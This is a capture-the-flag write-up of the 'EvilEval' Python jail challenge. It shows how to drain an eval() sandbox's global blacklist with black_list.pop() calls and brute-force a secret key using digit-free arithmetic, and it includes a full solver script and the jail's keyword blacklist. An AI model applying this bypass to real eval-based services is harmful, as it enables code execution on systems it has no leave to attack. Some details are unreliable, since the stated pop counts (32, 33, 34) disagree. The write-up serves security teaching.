Flash CTF – EvilEval

Overview

EvilEval is a misc challenge built around a classic Python jail (pyjail). The service exposes a raw TCP prompt that takes a line of text, runs it through a stack of input filters, and then passes whatever survives straight into eval(). To win, the expression we submit must evaluate to a per-connection secret integer key. The catch: digits, most operators, and dangerous keywords are all banned, so the puzzle is to express an arbitrary number — and bypass the filters — using only the handful of characters the jail still permits.

Background

A pyjail is a sandbox that lets a player run Python expressions but tries to restrict what they can do, usually with blacklists of characters and keywords. Blacklists are notoriously fragile: they assume the author can enumerate every dangerous construct, which is almost never true. The deeper problem here is that the jail evaluates the player’s input with eval(), and eval() runs in a scope that can see the program’s own global variables. That means anything the program defines — including the blacklist itself — is reachable and, crucially, mutable from inside the sandbox.

The second hurdle is the “no digits” rule. Python lets you build integers without ever typing a numeral: the bitwise NOT of a boolean (~True is -2~False is -1) gives you a starting value, and from there ordinary arithmetic produces any integer you like. Filters that block the characters 09 do nothing to stop digit-free integer construction.

Reconnaissance

Connecting with netcat shows a friendly banner and a prompt:

$ nc localhost 1337
[2024-01-01 00:00:00] Welcome to EvilEval challenge!
Keep trying to unlock the secret password...
[2024-01-01 00:00:00] > Enter your input:

Reading the source confirms the structure. The program reads a line, then rejects it if any of three checks trip:

  • check_number — rejects input containing any of 09.
  • check_black_list — rejects input containing any item from a global black_list of symbols and keywords (+ - * / [ ] ~ and or import __ and more).
  • check_rce — rejects ossysevalimport__{}, etc.

If the input survives, the program runs eval(inp) and compares the result to key, a value derived at startup as int((b"flag" + ctime).hex(), 16) % 255, so it lands somewhere in 0254. Match it and the flag prints.

The decisive observation is that black_list is a plain global list and eval() can mutate it. The expression black_list.pop() uses none of the banned tokens, so it passes every filter — and each call removes one entry from the very blacklist that is supposed to stop us.

Exploitation

The first move is to disarm the symbol filter. A single line of chained pops, one per blacklist entry, empties the list entirely:

black_list.pop(),black_list.pop(),black_list.pop(), ...   # 32 times

This line contains no []~+, or any other forbidden token before the list is cleared, so it sails through check_black_list and check_rce, and check_number sees no digits. After it evaluates, black_list is empty and subsequent payloads are no longer subject to the symbol blacklist (only the still-active check_number digit filter remains).

Now we need to produce the secret integer without typing digits. With the symbol filter gone, ~ and + are available again. The trick is to use the truthiness of a comparison as a seed and bend it into a number with bitwise NOT. The solver builds expressions of the form:

payload = "[x:=[]>[]," + ("~x+" * i)[:-1] + "][[]==[]]*~x"

Here x := [] > [] walrus-assigns a boolean (False), and ~x evaluates to -1. Summing ~x i times yields -i, and the indexing tail selects that computed element. Because we don’t know key ahead of time, we simply sweep i upward, sending one payload per candidate, until the jail’s comparison succeeds.

Getting the Flag

Clear the blacklist, then brute-force the key until the server returns the flag:

# 1. empty the blacklist (32 chained pops)
# 2. spray digit-free arithmetic payloads until eval() == key
python3 writeup/solve.py -u localhost:1337

Output:

[*] Sent 34 pop()s to empty the blacklist
[*] Brute-forcing the secret key (0-254)...
[+] Flag: MetaCTF{S4f3_3v4l_1s_4_Mu5t_1337}

The moment the swept value equals key, the jail prints the flag and the connection closes.

Solve Script

The full solver, solve.pyclear_blacklist drains the jail’s black_list with one chained-pop line, then get_flag sweeps digit-free arithmetic payloads until eval() matches the per-connection key:

#!/usr/bin/env python3
"""
EvilEval — Solver
=================
The challenge is a raw-TCP Python jail. Each input string is run through three
filters (blacklist of symbols/keywords, a "no digits" check, and an RCE check)
and then handed to eval(). The accepted value must equal a per-connection secret
`key` in the range 0-254. We win by:

  1. Emptying the runtime blacklist with chained `black_list.pop()` calls — the
     pop expression itself contains no blacklisted tokens, so it slips through.
  2. With the blacklist gone, sending arithmetic that produces every candidate
     integer without using digit characters, building numbers out of `~` (which
     yields -1 on an empty-list truth value) until eval() matches `key`.
"""

import re
import argparse

from rich.console import Console
from pwn import remote, context

console = Console()

# Mirrors the jail's blacklist so we know how many pops clear it.
BLACK_LIST = [
    "+",
    "-",
    "*",
    "/",
    "%",
    "==",
    "!=",
    "[",
    "]",
    ">",
    "<",
    ">=",
    "<=",
    "~",
    "and",
    "or",
    "not",
    "in",
    "lambda",
    "print",
    "input",
    "open",
    "eval",
    "compile",
    "os",
    "sys",
    "subprocess",
    "shutil",
    "tempfile",
    "pickle",
    "marshal",
    "__",
    "import",
]


def parse_target(url: str) -> tuple[str, int]:
    """Accept host:port or http(s)://host:port and return (host, port)."""
    cleaned = re.sub(r"^\w+://", "", url).rstrip("/")
    host, _, port = cleaned.partition(":")
    return host, int(port or 1337)


def clear_blacklist(conn) -> None:
    """Drain the jail's blacklist so later payloads bypass the symbol filter."""
    conn.recvuntil(b"Enter your input:")
    pops = ",".join("black_list.pop()" for _ in BLACK_LIST)
    conn.sendline(pops.encode())
    console.print(
        f"[cyan][*][/cyan] Sent {len(BLACK_LIST)} pop()s to empty the blacklist"
    )


def get_flag(conn) -> str:
    """Brute-force the secret key with digit-free arithmetic until eval matches."""
    console.print("[cyan][*][/cyan] Brute-forcing the secret key (0-254)...")
    for i in range(500):
        # `~x` where x is the truthy ([]>[]) evaluates to -1; chaining ~x+~x+...
        # builds an integer; the trailing [[]==[]]*~x selects the summed element.
        payload = "[x:=[]>[]," + ("~x+" * i)[:-1] + "][[]==[]]*~x"
        conn.sendline(payload.encode())
        response = conn.recvline().decode("utf-8", "replace").strip()
        if "MetaCTF{" in response:
            flag = re.search(r"MetaCTF{.*?}", response).group(0)
            console.print(f"[bold green][+] Flag:[/bold green] {flag}")
            return flag
    raise RuntimeError("Key not found within brute-force range")


def main(url: str) -> None:
    host, port = parse_target(url)
    console.print(
        f"[bold cyan][*][/bold cyan] Targeting 

[underline]{host}:{port}[/underline]

” ) context.log_level = “error” conn = remote(host, port) try: clear_blacklist(conn) get_flag(conn) finally: conn.close() if __name__ == “__main__”: parser = argparse.ArgumentParser(description=”EvilEval solver”) parser.add_argument( “-u”, “–url”, required=True, help=”Challenge host:port (or URL)” ) parser.add_argument( “-k”, “–no-ssl”, action=”store_true”, help=”Disable SSL verification (no-op for raw TCP)”, ) parser.add_argument( “-x”, “–proxy”, action=”store_true”, help=”Route traffic through Burp Suite (unused)”, ) parser.add_argument( “-s”, “–ssl”, action=”store_true”, help=”Use SSL for pwntools connections (unused)”, ) args = parser.parse_args() main(args.url)

Key Takeaways

  • Never feed untrusted input to eval() — it exposes your program’s entire global scope, including the very data structures meant to defend it.
  • Blacklist-based sandboxing is fundamentally weak; if your defense lives in a mutable global, the attacker can simply delete it.
  • Filtering digit characters does not prevent integer construction — ~, booleans, and arithmetic generate any number with no numerals at all.
  • Safe evaluation requires an allowlist-based parser or a real sandbox, not character blacklists.